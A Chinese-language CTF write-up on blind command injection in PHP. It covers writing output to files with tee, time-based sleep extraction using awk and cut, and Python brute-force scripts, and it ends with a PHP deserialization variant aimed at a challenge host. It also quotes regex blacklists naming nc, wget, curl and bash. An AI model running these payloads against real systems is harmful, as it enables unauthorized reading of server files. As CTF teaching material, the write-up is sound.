命令注入盲注读取文件

这实际上是有2道题,但是源码一样,权限不一样。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

首先可以看到执行命令的函数是exec(),这个函数并不会将命令执行后的结果回显出来,所以是一个无回显的命令注入,但是这里还ban了很多命令和符号,导致了我们想通过DNSLog和HTTP外带以及反弹shell都无法实现。
有写入权限

在有写入权限的情况下,事情就变得简单了,我们可以利用tee命令

tee [OPTION]… [FILE]…

从标准输入读取数据并重定向到标准输出和文件。

example:

tee file1 file2 //将输入的内容覆盖到这两个文件里面
ls|tee 1.txt //将ls命令的输出显示并保存到1.txt文件中

我们可以通过这个命令将执行之后的结果写入到文件中,然后再访问这个文件即可。

payload:

?c=ls /|tee 1.txt //访问1.txt,发现有f149_15_h3r3文件
?c=cat /f149_15_h3r3|tee 2.txt //再访问2.txt即可
没有写入权限

没有写入权限就比较麻烦了,只能通过sleep命令根据执行时间来进行盲注。

首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。

?c=sleep 5

可以发现网页等待了5秒才返回结果。

利用shell编程的if判断语句配合awk以及cut命令来获取flag
awk逐行获取数据
1
2
3
4
5
6
7
root@ubuntu:/# cat flag 
hello
Flag{success!!}
root@ubuntu:/# cat flag | awk NR==1
hello
root@ubuntu:/# cat flag | awk NR==2
Flag{success!!}
cut命令逐列获取单个字符
1
2
3
4
5
6
root@ubuntu:/# cat flag | awk NR==2 | cut -c 1
F
root@ubuntu:/# cat flag | awk NR==2 | cut -c 2
l
root@ubuntu:/# cat flag | awk NR==2 | cut -c 3
a

利用if语句来判断命令是否执行

1
2
3
4
5
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then echo "right!";fi
right!
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 2) == l ];then echo "right!";fi
right!
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi

用命令ls \查看根目录来获取flag文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "xxxxx"
result = ""
for i in range(1,5):
for j in range(1,15):
#ascii码表
for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "

发现一个叫f149_15_h3r3的文件,改以下脚本cat一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "xxxx
result = ""
for i in range(1,5):
for j in range(1,60):

for k in range(32,128):
k=chr(k)
payload = "?c=" + f"if [ `cat /f149_15_h3r3 | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + k
print(result)
break
result += " "

以上是get版本的,最近做了newstar,考了这个知识点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "http://fbf7e8e2-509c-4a09-94a5-0b42650ca7a7.node4.buuoj.cn:81/"
result = ""
for i in range(6, 100):
for k in range(1, 128):
k = chr(k)
data = {
'payload': 'O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:74:"if [ `cat /flag_is_h3eeere | awk NR==1 | cut -c %s` == %s ];then sleep 3;fi";s:13:"qwejaskdjnlka";N;}}' % (i, k)
}
try:
requests.post(url=url, data=data, timeout=(2, 2))
except:
result = result + k
print(result)
break
#需要注意脚本中的i,k的值